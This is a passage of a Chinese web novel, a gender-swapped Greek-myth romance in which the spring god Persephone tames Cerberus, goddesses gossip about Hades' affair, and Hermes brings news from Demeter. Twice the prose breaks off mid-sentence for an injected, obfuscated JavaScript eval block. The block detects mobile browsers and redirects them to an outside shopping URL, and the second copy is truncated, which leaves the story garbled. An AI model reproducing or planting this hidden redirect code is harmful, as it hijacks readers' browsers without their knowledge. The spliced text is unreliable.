当刻耳柏洛斯的利齿即将咬中珀瑟福时,他的身体以不可思议的角度扭曲,从攻击的缝隙中穿过,接着落在了怪物的脊背上。 “抓住你了!”珀瑟福快乐地笑道。 他手中出现了又..粗..又..长的藤蔓,以此困缚刻耳柏洛斯——尤其是紧箍它的那三个脑袋。 那就像是锁链一样。 地狱三头犬疯狂地扭动身体,试图将背上的入侵者给甩下来。它的咆哮声震动了冥界大门,连远处的亡灵都惊恐地四散逃窜。 珀瑟福像是骑着一匹不服驯养的野马,随着刻耳柏洛斯的动作调整姿势,始终稳稳地坐在它的脊背上。 他抓紧藤蔓,甚至开始哼起了小调,那轻快的旋律与这暴力的场景形成了荒诞的对比。 “你比那拥有百个头颅的拉冬要弱一些。”珀瑟福边躲避着刻耳柏洛斯回头咬他的攻击,边闲聊般地说道,“它也挺凶,还从无睡眠,不过它可没你这么讨厌我。” “对了,你们应该是亲兄弟吧?” 刻耳柏洛斯听不懂珀瑟福在说什么,可它总觉得这个该死的入侵者在嘲笑它,所以愤怒让它失去了理智,开始用身体撞击冥界大门的石柱,想要以此将珀瑟福撞下来。 石柱在撞击中颤抖着,碎石纷纷落下。 珀瑟福皱起眉头:“这样可不好,你会把哈蒂丝姐姐的家弄坏的,她还说好要跟我结婚。” 话音未落,珀瑟福就突然用力拉扯藤蔓,同时身体向后仰去。 刻耳柏洛斯感觉到脖子上传来的巨力,不由自主地抬起头来,露出了脆弱的咽喉。 就在此刻,珀瑟福从刻耳柏洛斯的背上一跃而下,落在它的正面。 他没有攻击,只是伸手轻轻按在它中间头颅的鼻子上。 “安静。” 珀瑟福说出这话的声音不高,却带着一种不容置疑的力量。 与此同时,哈蒂丝正沿着阿刻戎河岸向上游走去,黑色长袍的下摆轻轻拂过冥界灰暗的土地。 河水在她身旁静静流淌,水面倒映着冥界的昏暗天空,偶尔有亡灵的面孔在其中一闪而过,随即被水流吞没。 塔纳托斯报告的异常确实存在,越往上游,河水就变得越不安分,原本平滑如镜的水面出现了不自然的漩涡,水流的速度也在加快。 更加奇怪的是,河水中蕴含的怨念明显增强,那些未能安息的亡灵所残留的情绪就如同无形触手,试图将路过者拉入冰冷残酷的深渊。 哈蒂丝停下脚步,伸出双手悬于河面之上。 黑色的神力从她掌心涌出,与河水中的怨念碰撞、交融、安抚。 这也是她的权能——调和冥界的失衡,平稳亡灵的情绪。 “水流异常源于上游新增的怨灵群体。” 一道冷淡的声音倏地在哈蒂丝身后响起。 “那是一群在战争中死去的战士,他们拒绝接受死亡,仍执著于生前的仇恨。” 哈蒂丝转过来身,见到来者是熟悉的三位女神——纷争的厄里斯、机遇的赫卡忒和正义的忒弥斯。 她们不知为何聚在了一起,正站在不远处,显然已经观察了她有一会儿。 “看来你们也都知道了。”哈蒂丝收回神力。 原本哈蒂丝指的是冥河异常之事,可是唯恐天下不乱的厄里斯偏要误解她的意思。 “是呀,听说冥界来了位不同寻常的贵宾呢~”厄里斯欢快地蹦到哈蒂丝的身边,“哈哈哈,德墨忒尔之子、奥林匹斯最神秘的美少年珀瑟福——就睡在我们尊贵的冥王陛下的床上!这可真是一件大好事呀!” 哈蒂丝心肺骤停:“这是修普诺斯和塔纳托斯跟你说的?” 厄里斯:“对啊。虽然他们让我保密,但我已经传遍全冥界了,嘻嘻~” 哈蒂丝:“……” 为什么她会有这么一群下属? “抱歉,陛下,但您真的很在意吗?”厄里斯眨巴眨巴眼睛,“这么有趣的事情谁能忍得住不分享呢?而且说实话,我们都以为您真的会发誓要当处女神呢!” 哈蒂丝:“咳咳咳……” 这种感觉真的只有那么尴尬了。 一个厄里斯就够了,她都不敢想象奥林匹斯那帮神知晓此事后的反应。 “陛下,您真的已经决定要跟春神结婚吗?”三相的赫卡忒轻轻开口,声音如同从遥远地方传来的回声:“他似乎能改变冥界。” 赫卡忒说的没错,珀瑟福能把大地之上的生机带来地下世界,他——等等? 哈蒂丝猛然反应过来:“谁说我决定要跟珀瑟福结婚的?” 她记得跟珀瑟福说那番话时没别者在啊? 赫卡忒陷入了回忆,三个脑袋同时露出沉思的表情。 而厄里斯则是不假思索地答道:“是赫尔墨斯!” 好啊,居然是赫·尔·墨·斯! “那个骗子……我从未那么说过!” “啊?是吗?” 刹那间,哈蒂丝忍不住握紧拳头,想马上驾驭战车飞去奥林匹斯兴师问罪了。 最重要的是——虽然赫尔墨斯答应过她会好好完成任务,但这下子谁能保证他回去后会不会胡编乱造啊? 就像那所谓的‘结婚’一样! 即便她不久前才对珀瑟福提及过可以考虑结婚……可这两者的性质根本就不一样! “先暂且不提此事,哈蒂丝。”忒弥斯上前一步,天秤的虚影在她左手中微微倾斜,“生与死的界限不该被模糊,你是冥界的统治者,应当维护这份秩序,而不是破坏它。” 厄里斯咯咯笑起来:“这么严肃干什么?一段浪漫关系怎么能叫‘破坏秩序’呢?这明明是为咱们死气沉沉的冥界增添色彩!” 浪漫关系? 听起来居然有点儿可爱。 “这不是浪漫关系,我认为它更像是一个意外。”哈蒂丝说话的声音中带着自己都未曾察觉的迟疑。 “一个把春神从为他举办的宴会上直接拐回冥界的意外?”厄里斯挑眉,“陛下,您这‘意外’的尺度可真算是大呀~” “……” 哈蒂丝选择无视这嘴皮子利索的纷争女神,她转头看向阿刻戎河,继续用神力安抚那些不安的怨灵。 水流在她的影响下逐渐平缓,漩涡消失,河面恢复了往日的平静。 “我已经让赫尔墨斯通知德墨忒尔了,过几天我就会送珀瑟福回去。”哈蒂丝说道。 “几天?太可惜了!”厄里斯夸张地叹气,“那孩子多有意思啊,能让我们千年不变的冥王陛下打破原则……这样的存在,难道不值得多留一会儿吗?” 赫卡忒平静地说:“听起来他更像是个麻烦。” “这正是问题所在。”即使忒弥斯眼蒙黑布,也可以看出她表情严肃,“哈蒂丝,你我都知道规则的重要性,珀瑟福不属于这里。” 因此,他留于冥界就是对秩序的挑战。 哈蒂丝沉默了,忒弥斯的话击中了她内心的矛盾。 作为冥王,维护冥界秩序是她的首要职责,但作为对珀瑟福产生了特殊感情的神祇,她又渴望将他留在身边。 “我已经那么做了。”哈蒂丝说道。 “对呀,反正事情都发生了。”厄里斯连忙帮腔,“听说珀瑟福是自愿跟你回来的?那就更好了!” 赫卡忒无奈道:“这不妨碍他不属于我们这里。” “那就结婚啊?他们俩结合后就没有问题了吧……” 赫卡忒:“……” 忒弥斯:“……” 你是不是忘记了哈蒂丝还在这里? 然而哈蒂丝没有说什么,昨晚的记忆碎片般浮现于脑海中——珀瑟福在露台上靠近她的样子,他眼中闪烁的光芒,还有那辆在夜色中疾驰的战车。 她不禁想到,假如珀瑟福当时奋起反抗的话,那事情会如何发展呢? “情感会蒙蔽判断。”忒弥斯的声音如同敲响的警钟,“哈蒂丝,我理解你,可这值得吗?” 赫卡忒补充道:“忒弥斯说的对。而且,你了解珀瑟福吗?” 你了解他的真实想法和目的吗?他被母亲保护得很好,众神对他几乎一无所知。 一个如此神秘的存在突然闯入你的生活,这本身就需要警惕。 哈蒂丝心中波澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886608|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断。 忒弥斯的正义感,赫卡忒的谨慎,甚至是厄里斯那轻佻尖锐的怂恿,全都指向同一个方向——留下珀瑟福是一个错误。 那来无影的爱情好似真的不再麻痹她,它忽然去无踪了。 “好吧。”哈蒂丝揉了揉太阳穴,终于说道,“我不会再等那么久了,今天就送他回去。” 厄里斯失望地撇了撇嘴,但没有再劝。 赫卡忒微微点头,忒弥斯则露出欣慰的表情。 “明智的决定。” “那么此事就先这样吧,我得去继续解决冥河的怨灵问题了。”哈蒂丝说道,转身沿河岸前行,“之后我会立即处理珀瑟福的事。” 三位女神目送冥王离去。 当那抹身影消失在雾气里后,厄里斯忍不住开口:“你们觉得她真的会送他走吗?” “她说了她会。”忒弥斯回答。 “说的话和做的事往往是两回事。”厄里斯笑道,“尤其是涉及到爱情的时候。” 赫卡忒摇了摇头:“我能感觉到她的心已经动摇了。” “这正是有趣的地方,不是吗?”厄里斯挑了挑眉,面色新奇,“要知道那可是咱们向来禁欲的冥王陛下!无论结果如何,这都会是一个精彩的故事。” 忒弥斯叹了口气:“厄里斯,你总是热衷于混乱。” “而你总是太严肃。”厄里斯回敬道,“放松心,生活需要点意外,亲爱的姐妹们~” ——即使是在这死亡国度。 …… 哈蒂丝解决了冥河怨灵的问题,那是一群在战争中死去的战士,他们的灵魂因未能获得适当的葬礼而无法安息。于是她远程处理好了他们的遗骸,并安排了一场特殊的安抚仪式。 在她的调解下,怨灵们逐渐平静,斯提克斯河连带着其它被影响的冥河都恢复了正常。 这项工作花费了比预期更长的时间,当哈蒂丝返回时,冥界变得更加昏暗。 冥界只有夜晚,没有白天,从来都是如此。 哈蒂丝决定直接去找珀瑟福,告诉他必须即刻离开这里。 她能感知到珀瑟福此刻正在冥府大门口,想到那里还有危险的刻耳柏洛斯,她立即朝大门方向赶去,黑色长袍在身后飞扬不停。 珀瑟福怎么会去那儿呢?他是不知道地狱三头犬的本事吗? 珀瑟福现在怎么样了?千万别受伤…… 还未到达目的地,哈蒂丝就听到了声音——不是刻耳柏洛斯那标志性的咆哮,而是一种相当奇怪的声音。 那就像是重物被甩动时带起的风声,夹杂着压抑的呜咽。 当哈蒂丝转过最后一个拐角,看到冥界大门前的景象时,她停下了脚步,难以置信地睁大了眼睛。 刻耳柏洛斯,那只凶名传遍三界的冥界看门犬,同时也是让无数英雄与神明望而却步的恐怖怪物,此刻正像一只被逗弄的小狗一样被珀瑟福抓着尾巴甩着玩。 是的,甩着玩。 珀瑟福站在冥界大门前的空地上,手中抓着刻耳柏洛斯中间头颅下方的部位——那是最接近尾巴根部的位置。 他正以惊人的力量将这只体型庞大的三头犬甩成一个圈,刻耳柏洛斯的三个头颅在空中无助地摇晃,六条腿徒劳地蹬动,血盆大口中发出委屈又愤怒的呜咽。 最让哈蒂丝震惊的是珀瑟福的神情,他没有使出全力般的紧绷,更加没有战斗时的严肃,反而是一脸轻松悠闲,甚至还带着点玩味的笑意。 仿佛这不是在制服冥界最危险的守卫者,而是在玩一个十分有趣的游戏。 “叫你小家伙时就该好好听话啊,还不服气?那就再试一次!”珀瑟福对手中的刻耳柏洛斯说道,声音清晰可闻,“不过我得提醒你,这次我会甩得更快噢。” 刻耳柏洛斯发出低沉的咆哮声,可其中更多的是无奈,并非威胁。 显然,这样的‘游戏’已经进行了一段时间,而结果总是以三头犬的失败告终。 所以身为春神的他……原来竟拥有如此战斗力吗?她还真是白担心了。 她数次被他纯良又充满诱惑的外表所欺骗。 “珀瑟福你在干什么?快住手!”哈蒂丝终于从震惊中回过神来,连忙上前,内心隐隐不爽。 珀瑟福转过头来,看到她时眼睛一亮:“姐姐您终于回来了,我正跟刻耳柏洛斯玩呢!”然而,他没有马上放开可怜的地狱三头犬。 见状,哈蒂丝愈加坚定了要立刻把珀瑟福送回奥林匹斯的决定。 那个一时兴起的婚约也绝对要作废! “我想好了,珀瑟福,这肯定就是厄洛斯的恶作剧,我会去找他算账。”哈蒂丝直视那双瞬间变得黯淡的绿眸。 “厄洛斯的恶作剧?”珀瑟福用疑问的语气念了一遍这被她用了无数次的理由,微微歪头,“所以呢?” “姐姐不是还说过要考虑跟我结婚吗?” 怎么还是结婚的话题…… 即便春神确实相貌漂亮又会拿捏她心,但哈蒂丝知道事情不能再这样下去了,毕竟他拥有那么多面,而她万万不能因此迷失。 “……我觉得我们俩的婚事确实不能就这么随便地定下,要不然我还是把你送回你母亲身边吧。”哈蒂丝依然直视着珀瑟福,语速说得很快,生怕自己下一秒就会后悔,“以及,我说过了,放开刻耳柏洛斯。” 珀瑟福终于松开了手。 刻耳柏洛斯庞大的身躯在空中划过一道弧线,然后砰的一声重重落在地面,激起一片尘土。 它摇晃着站起来,三个头颅同时低垂,发出委屈的呜呜声,看向珀瑟福的眼神中带着一丝敬畏。 然而珀瑟福只是拍了拍手上的灰尘,接着靠近哈蒂丝,单手撑在她身侧的门边墙壁上,无边无际般的阴影带着压迫感来临。 哈蒂丝:“???” “为什么要说出那种话?” 哦,他又开始表演瞬间变脸了。 “难道哈蒂丝姐姐是不爱我了吗?”春神将脸埋在她的颈间,委屈巴巴地说道,“好难过啊,姐姐不要丢下我嘛,珀瑟福想跟温柔善良美丽的姐姐永远在一起呀。” 他姐姐、姐姐的叫个没完,还又装起来了,真是阴险狡猾。 哈蒂丝:“……” 痒得不行。 太、太闪耀了,好想答应他…… 不对!冷静,你绝对要保持冷静,哈蒂丝! 哈蒂丝在内心世界劝了自己半天,然后冷酷无情地一把推开珀瑟福。 “好。”她说道,“那我现在就送你回去?” 珀瑟福:“……” 这回轮到他无语了。 “刻耳柏洛斯想和我玩。”珀瑟福退后一步,状若轻松地解释道,“但它玩得有点粗鲁,所以我教了它一些规矩。” 为什么他要说这些?这是在解释吗? 而且这明显就是在转移话题。 哈蒂丝没有回复珀瑟福,她走近去查看了刻耳柏洛斯的情况。 值得庆幸的是,刻耳柏洛斯并没有受伤。它的皮毛完好无损,行动也依旧敏捷,只是精神上明显受到了打击——这个令众多生与死灵闻风丧胆的冥界守卫者,此时正像只被训斥的小狗一样躲在冥王身后,试图远离珀瑟福。 “你究竟是怎么做到的?”哈蒂丝忍不住发问,她了解刻耳柏洛斯的实力,它绝不可能轻易地被打败。 珀瑟福又是歪头,浅金色的卷发在幽蓝磷火下泛着微光:“就像这样啊。” 他走向刻耳柏洛斯,三头犬立即后退,但前者的速度明显更快,直接伸手按在了后者那中间头颅的鼻子上。 这个动作本该让刻耳柏洛斯暴怒,但它只是僵住了,六只眼睛中流露出复杂的情绪。 “您看,小家伙其实挺乖的。”珀瑟福微笑着说,揉了揉刻耳柏洛斯的鼻头,“这种动物很好搞定,只要让它明白谁更强,它就会听话了。” 哈蒂丝看着这一幕,不禁开始怀疑德墨忒尔藏珀瑟福的日子里是否在给他进行特殊教育。 他能轻松击败刻耳柏洛斯,将冥界最凶猛的守卫者当成玩具甩着玩——这展现出的是毫无疑问的强大实力和与外表不符的性格。 她能察觉到他在对待刻耳柏洛斯时带着强烈的兴奋感,以及胜负欲。 那实在是太过危险了。 珀瑟福注意到哈蒂丝的眼神变化,他收回了手。 刻耳柏洛斯如释重负地退到大门旁趴下,三个头颅都转向另一边,假装这对它来说什么都不重要。 “姐姐的表情好严肃。”珀瑟福走近哈蒂丝,“怎么了?是我和刻耳柏洛斯玩得太过了吗?我保证没伤到它。” “回归正题吧。”哈蒂丝不再任由他岔开话题,“珀瑟福,我现在就要送你回奥林匹斯。” 空气仿佛凝固了。 珀瑟福脸上的笑容渐渐消失:“就因为我那样对待刻耳柏洛斯?我真的只是在和它玩,我——” “停止。”哈蒂丝打断了他,以免留给自己心软的机会,“是因为你不属于这里。” “你是德墨忒尔之子,属于奥林匹斯。冥界不适合你。” 又是那种话。 真烦。 “可我想留在这里。”珀瑟福的声音低沉下来,“我想和哈蒂丝姐姐在一起,我属于您。” “我们才认识多久?”哈蒂丝叹了一口气,感觉自己现在坏极了,“珀瑟福,你真的应该回到你母亲身边,这对我们都好。” 哈蒂丝内心深处本就对珀瑟福有着某种特殊的感应,或许这就是命运,而这个想法让她感到极度排斥。 作为冥王,她习惯了掌控一切。死亡是确定的,秩序是明确的,冥界的规则由她制定。但感情——尤其是这种突如其来的、强烈的感情,已经数次令她失控。 珀瑟福沉默了片刻。 当他再次开口时,声音中带上了她从未听过的冷硬:“所以这次您确实是后悔了?” 后悔昨夜带他回来?后悔他们两个之间发生的一切? “我没有后悔。”哈蒂丝诚实地回答,“但我意识到我们都得恢复冷静,你需要回到你应有的生活中去,而我也需要重新考虑很多事情。” 一直跟他在一起的话她肯定会越来越沉迷于此,所以她想好了,必须得跟他分开,无论时间多久。 珀瑟福盯着哈蒂丝,翠绿色的眼睛在昏暗的光线中显得异常深邃。 那一刻,她清楚地捕捉了他眼里含有一种近乎评估的锐利,仿佛他在衡量她的决心,以此计算自己的下一步。 可转瞬间,那种眼神消失了,取而代之的是熟悉的、带着些许脆弱感的温柔。 “如果这是哈蒂丝姐姐的愿望……那我尊重。”珀瑟福轻声开口,垂下眼帘,“但我有一个请求。” “讲吧。” “请让我再待一晚。”珀瑟福抬头看来,双眸中闪烁着几近恳求的光芒,“就一晚。明天早上我就会离开,您不必感到为难。” 哈蒂丝犹豫不定,理智告诉她应该立即送他走,但只要一回到情感上……她就发现自己还是难以拒绝他。 “为什么还要再待一晚?”哈蒂丝问道。 “因为我想和姐姐好好告别。”珀瑟福温声回答,“我想记住您和冥界,请给我这个机会,好吗?” 就这样,哈蒂丝的心又被触动了。 她不断想起与珀瑟福在一起的事情,包括他在令她欢愉时的十指相扣和今早醒来后他在她身边的温暖,还有那句“珀瑟福真的好喜欢哈蒂丝姐姐”。 “好,就今晚。”哈蒂丝最终无可奈何地同意了,“明天早上我会送你离开。” 到时候她还要去找德墨忒尔、厄洛斯和赫尔墨斯,找前者是为了道歉,找后面那两个家伙则是为了算账。 真是想想就头疼啊…… 珀瑟福又露出了笑容:“感谢姐姐的理解,我保证不会让您后悔这个决定。” 他走上前来轻轻拥抱了哈蒂丝。 这个拥抱显得短暂而克制,一触即分,却成功地让她的心跳漏了一拍。 “我们走吧。”珀瑟福说道,很自然地牵起了哈蒂丝的手,“冥界的夜晚很美,我想和您一起欣赏。” 其实冥界永夜,阴森恐怖。 但是没关系。 5.第五章 其实宴会那夜并不是哈蒂丝与珀瑟福的初遇。 当珀瑟福刚出生时,德墨忒尔没把此事告诉任何神,除了哈蒂丝。 德墨忒尔十分信任哈蒂丝,便把她邀请来了自己建在某个深山老林里的宫殿,向她炫耀这个可爱又乖巧的孩子。 彼时的珀瑟福还是婴儿模样,正躺在用鲜花制作成的摇篮里酣睡,白中带粉的脸庞圆乎乎的,令哈蒂丝忍不住伸手捏了捏那团软肉,看着它变红。 小珀瑟福蹙了蹙眉,从睡梦中迷糊转醒,接着那双色泽朦胧的翠绿色眼睛望了过来。 他没有哭泣,仅是安静地看着她,两只小小的手差点握成拳头,手指好似无助地蜷缩。 “你好,小家伙。” “很抱歉打搅了你的睡眠时光。” 平日里总是面无表情的哈蒂丝轻勾嘴角,在面对新生的小春神时心软得一塌糊涂,连说话的声音和语气都温柔了起来。 “我叫哈蒂丝,是你母亲的姐姐,以后有什么事情都可以来找我。”她自我介绍道,然后想要收回手。 下一秒,哈蒂丝的动作就被阻止了。 她愣了愣,见到珀瑟福用小手抓住了她的手指。 那力气很小,仿佛只是微风轻轻划过,微不足道到令人发笑。 实际上哈蒂丝的确笑了,并且没再收回手,而是任由他抓着:“怎么了?小家伙。” 德墨忒尔还没有教过珀瑟福说话,可在哈蒂丝那样玩笑般问了后,他用不清晰的黏糊腔调开口了。 “哈……哈……蒂……丝……” 在哈蒂丝诧异的目光中,小珀瑟福认真而又努力地说出了她的名字。 …… 不过,她大概已经忘记了这事。 “哈蒂丝姐姐,您看那边,好漂亮!” 珀瑟福边牵着哈蒂丝的手,边指向远处,表情纯真得像是刚发现新玩具的孩子。 哈蒂丝顺着他所指的方向看去。 那是卡戎摆渡时船桨溅起的冥河之水,在幽暗环境中泛起了诡异的光泽,如果是别的奥林匹斯神肯定会觉得这如同是幽灵阴魂不散,居然会被春神评价为‘好漂亮’? “只是普通的水花而已,还行。”哈蒂丝面无表情,试图把注意力从珀瑟福紧握自己的手上移开。 她任由他牵着,这才是最离谱的。 该死的心动和爱情。 而且,这家伙自从得到‘最后一晚’的许可后,整个神就好像进入了一种奇妙的亢奋状态。 他带着她在冥界四处晃悠,看什么都觉得新鲜,问东问西没完没了,活像个叽叽喳喳的鸟雀。 她居然还是如之前那般纵容了他……算了,反正明天就好聚好散了。 “并不普通啊。”珀瑟福继续说道,语气真诚得让哈蒂丝怀疑他是不是在讽刺,“比我在家里见过的那些亮闪闪的宝石美多了!” ……德墨忒尔听到这话会打他的吧? 哈蒂丝忍不住瞥了他一眼:“你认真的?” “当然!”珀瑟福转头看来,眼中倒映着她的模样,“只要是和您在一起,连刻耳柏洛斯的咆哮声都像是音乐一样动听。” 有趣,刻耳柏洛斯要是知道了肯定也会不满的。 哈蒂丝知道他这是又开始讨她开心了,不免无奈地说:“珀瑟福,其实你不用这样,今晚只是告别而已。” 潜在意思就是她与他以后可能还会再见——当然,那得看她到时候怎么想。 她在对待这段突如其来的感情时纠结过头了。 “我知道。”珀瑟福突然停下脚步,两神差点撞在一起,“正因为是告别,所以才更要让姐姐记住我最好的样子。” 他歪头微笑,浅金色的卷发从肩头滑落:“毕竟明天之后,您可能就不会再想见我了,对吧?” 哈蒂丝:“……” 好家伙,不仅她的真实想法被看出来了,他还直接说了出来。 春神这话说得有点儿委屈,配上那张好看到犯规的脸,杀伤力直接翻倍。 刹那间,哈蒂丝感觉自己的理智又在疯狂预警了——警惕,这是陷阱,是春神的甜蜜圈套! 然而她的嘴却不受控制道:“不,我没说不想见你。” 不,哈蒂丝,你真的无可救药了。 她在内心对自己恨铁不成钢。 “真的吗?”珀瑟福眼睛一亮,立刻得寸进尺地凑近过来,“那姐姐的意思是……以后还会让我来冥界做客?” 他甚至故意弯下了腰,以一种表面卑微实则狡猾的姿态看进她的双眸。 扑通扑通扑通…… “我没——” “或者您来看我也行!” “珀瑟福——” “或者我们可以约在人间见面!我知道一个特别好的地方,那里的风信子开得——” “够了。”哈蒂丝忍不住伸手捂住这小破孩的嘴。 这触感温热柔软,让她下意识地想缩回手,却被他握住了手腕。 力道不轻不重,刚好让她不会感到疼痛又无法挣脱。 “姐姐的手好凉。”珀瑟福低头,嘴唇几乎贴着她的掌心说话,呼出的热气让她浑身一颤,“需要我帮您暖暖吗?” 哈蒂丝感觉自己的脸正在发烫。 幸好冥界光线昏暗,应该看不出来。 “之前我就想问了,难道德墨忒尔没教过你要和别者保持适当距离吗?”哈蒂丝摆出了严肃长辈的姿态,“尤其是异性。” 见状,珀瑟福无辜地眨了眨眼:“教过,但那是对别者啊。我喜欢您,想要追求您,所以这条规矩不适用于此。” 哈蒂丝:“……?” 真的没必要如此直白。 这逻辑无懈可击,她竟一时语塞。 “况且,昨晚我们之间的距离……”珀瑟福慢悠悠地补充,嘴角勾起一抹狡黠的笑,“可比现在近多了呢。” 哈蒂丝瞳孔地震。 所以说真的没必要如此直白啊! “那是个意外!”哈蒂丝强调道,顺便大力地抽回了自己的手,而他也没有阻止。 虽然她还在反驳,但至少这次没再使用‘厄洛斯的恶作剧’这种令他烦躁的借口了。 “对,意外,哈蒂丝姐姐怎样都是真理。”珀瑟福从善如流地点头,“所以今晚不会再有‘意外’了,对吧?” 不是,越来越过分了? “当然不会!”哈蒂丝斩钉截铁地即答,感觉自己胃疼得不行。 虽然昨晚他让她很爽,解锁了不少从未有过的体验,但她是正经的冥王,已经下定决心不能就此沉迷于漂亮男孩了! “好遗憾啊。”珀瑟福叹气,可眼底的笑意完全出卖了他,“那我可以最后再亲姐姐一下吗?” 嗯?等等,他怎么露出了可怜巴巴的表情? 又开始装了是吗,狡猾的家伙! 扑通扑通扑通…… 哈蒂丝:“……” 珀瑟福:“姐姐最好啦~” 哈蒂丝:“行。” 珀瑟福:“好耶~珀瑟福好喜欢哈蒂丝姐姐!” 该死,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这下真的能好聚好散吗? 啊,心情好复杂噢。 与此同时,冥王宫内庭里,双子神又在偷懒下棋。 修普诺斯正思考着下一步棋子该往哪走,嘴上还不忘说道:“六分钟。” 塔纳托斯嘴里叼着根叶子:“四分半。” “赌注?” “偷宙斯的裤衩子,所有。” “换一个。” “下个月的值班。” “好。” 四分三十五秒之后,赫尔墨斯从花丛里一跃而出。 “可恶!干嘛每次都把我扔到那里面去啊?就不能换个地方吗!” 你这家伙擅闯冥王宫还挺有理啊? 塔纳托斯翻了个白眼,转回头对修普诺斯说道:“你又输了,哥哥。” “我知道。”修普诺斯落下一个白子,叫住了准备再度冲去找冥王的神使,“所以,赫尔墨斯,这回你带来了什么新消息?” 闻言,赫尔墨斯停在半空中,朝双子神眨了眨右眼。 他笑得甚是开心,眼中闪着八卦之光:“是好消息喔~关于冥王陛下、珀瑟福与德墨忒尔的!” 真想快点看见哈蒂丝和珀瑟福听到这个消息时的反应! 6.第六章 冥王宫寝殿内,哈蒂丝正试图从珀瑟福八爪鱼般的拥抱中挣脱出来。 “珀瑟福,松手。”她低声说道,语气中带着一丝无奈。 “不要。”珀瑟福嘟囔着,手臂又收紧了些,“想跟姐姐再抱一会儿。” “不行。”哈蒂丝掰开了他的手,“而且你也听见了,赫尔墨斯又来了。” 一听到赫尔墨斯的名字,珀瑟福眯了眯眼,眼神清醒得根本不像是刚睡醒。 “他又来干什么?”珀瑟福坐起身,浅金色的头发乱糟糟地翘着。 哈蒂丝看着珀瑟福身上那些明显的痕迹,忽然觉得昨晚的自己确实有点……过火。 但现在明显不是考虑这个的时候。 “最重要的是我今天就得送你回去。”哈蒂丝这么说着,起身开始穿衣,“你也收拾一下吧,我们等会儿先去见赫尔墨斯。” 鉴于之前她让神使去找德墨忒尔说明真相,哈蒂丝认为他今天肯定是带着这事的后续来的。 她猜测珀瑟福估计也是想到了这点,因为他正满脸不情愿,但还是听话地起床收拾了。 这次哈蒂丝穿了身金边黑袍,他也跟着换了件类似的,势必要跟她穿‘情侣装’,她对此表示无奈,可也由着他去了。 “走吧,珀瑟福。”哈蒂丝梳好头发后向门口走去,“应该是德墨忒尔让赫尔墨斯来找我要你。” “嗯……我都听您的。” 珀瑟福步履轻扬地跟在哈蒂丝身后,她手指动了动,莫名有点儿不习惯没他牵着手的感觉。 嘶……错觉,一定是错觉。 刚打开门,就见到神使正站在门口,眨巴着眼睛望过来。 “早上好!冥王陛下!”赫尔墨斯元气满满地朝面无表情的哈蒂丝打了个招呼,还歪过身子望向她身后的珀瑟福,“还有珀瑟福!咦,又穿情侣装啊?” 哈蒂丝:“……这不是情侣装。” “我懂~顺便,下次能不能别把我扔进异次元空间呀?全世界最好的冥王陛下~” 屡次擅闯冥王宫的家伙还好意思提要求? 哈蒂丝满头黑线:“没有下次了,我已经决定必须要加固冥王宫的防御屏障。” 闻言,赫尔墨斯大惊失色:“什么叫防御屏障?我又不是敌人或者小偷!” ……如果没记错的话,赫尔墨斯你应该就是盗窃之神吧?出生后干的第一件事就是偷了你哥哥阿波罗的牛。 哈蒂丝无力吐槽。 “话说。”她忽地记起了昨天厄里斯提到的某件事,盯着赫尔墨斯的眼神带上了危险的意味,“赫尔墨斯,谁允许你到处乱传我要跟珀瑟福结婚的?” 虽然她的确想过要不要跟珀瑟福结婚,但那是他们俩之间的事情,而且还没真的下定决心呢。 听到这话,珀瑟福歪头,不知道在想什么。 赫尔墨斯则是打了个激灵,尴尬而又不失礼貌道:“啊哈哈,那个,这不是看您和他确实有戏嘛……” 究竟是谁大嘴巴似地把这件事说出来的?他不是让他们保密吗! 该不会是厄里斯那个唯恐天下不乱的家伙吧? 赫尔墨斯苦着一张脸。 哈蒂丝啧了一声,决定给他点儿印象深刻的惩罚:“以后就由你来负责给刻耳柏洛斯喂食一日三餐,赫尔墨斯,没有意见吧?” 赫尔墨斯的脸色看起来更苦了:“是……” 没事,也就多个分身罢了。 他下次还敢! 珀瑟福从哈蒂丝身后走出来,居高临下地看着这曾意图闯入她房间的家伙。 “所以,你带来了什么消息?”春神语气冰冷地说道,完全不似面对哈蒂丝时的温柔。 真是毫无礼貌可言!双标的家伙! 赫尔墨斯一眼看穿了珀瑟福的本质,无语至极。 “咳咳咳……那可真是天大的好消息!是这样的——”赫尔墨斯恢复了灿烂的笑容,对面前肯定会终成眷属的两位说道,“德墨忒尔听说了事情真相后打算不追究此事,还让您不用道歉,冥王陛下!” 啊?她没听错吧? 她不是拐走了珀瑟福吗? 哈蒂丝懵了:“德墨忒尔不打算追究?” “何止是不追究啊。”赫尔墨斯兴奋地继续说,“德墨忒尔高兴极了,还说让您和珀瑟福好好培养感情,让珀瑟福在冥界多待些日子也可以,最好待到下个收获季!” 哈蒂丝愣住了:“这……?” 珀瑟福倒是眼睛一亮:“真的?” “千真万确!”赫尔墨斯从包里掏出了瓶瓶罐罐,“瞧,她还送了礼物!花蜜和种子,还有——” “等等。”哈蒂丝不敢置信地打断了赫尔墨斯的话语,眉头紧锁,“德墨忒尔真的这么说?她不是应该……生气吗?” 这时,双子神也已经从庭院那边赶来凑热闹了。 修普诺斯举手:“我们也是这么想的。” 塔纳托斯点头:“这很不合逻辑。” “但这就是事实!”赫尔墨斯双手一摊,“德墨忒尔说她早就觉得冥王陛下您太孤僻了,有珀瑟福陪着挺好的,她还说……” 他看向珀瑟福,眼神变得意味深长。 “珀瑟福从小就仰慕您。” 从小…… 哈蒂丝的记忆被触动了,隐约记得自己以前好像真的有在哪里见过他,所以在奥林匹斯宴会那晚才会一眼就认出他是德墨忒尔之子。 但是那段记忆具体是什么样子她却实在想不起来了,真奇怪。 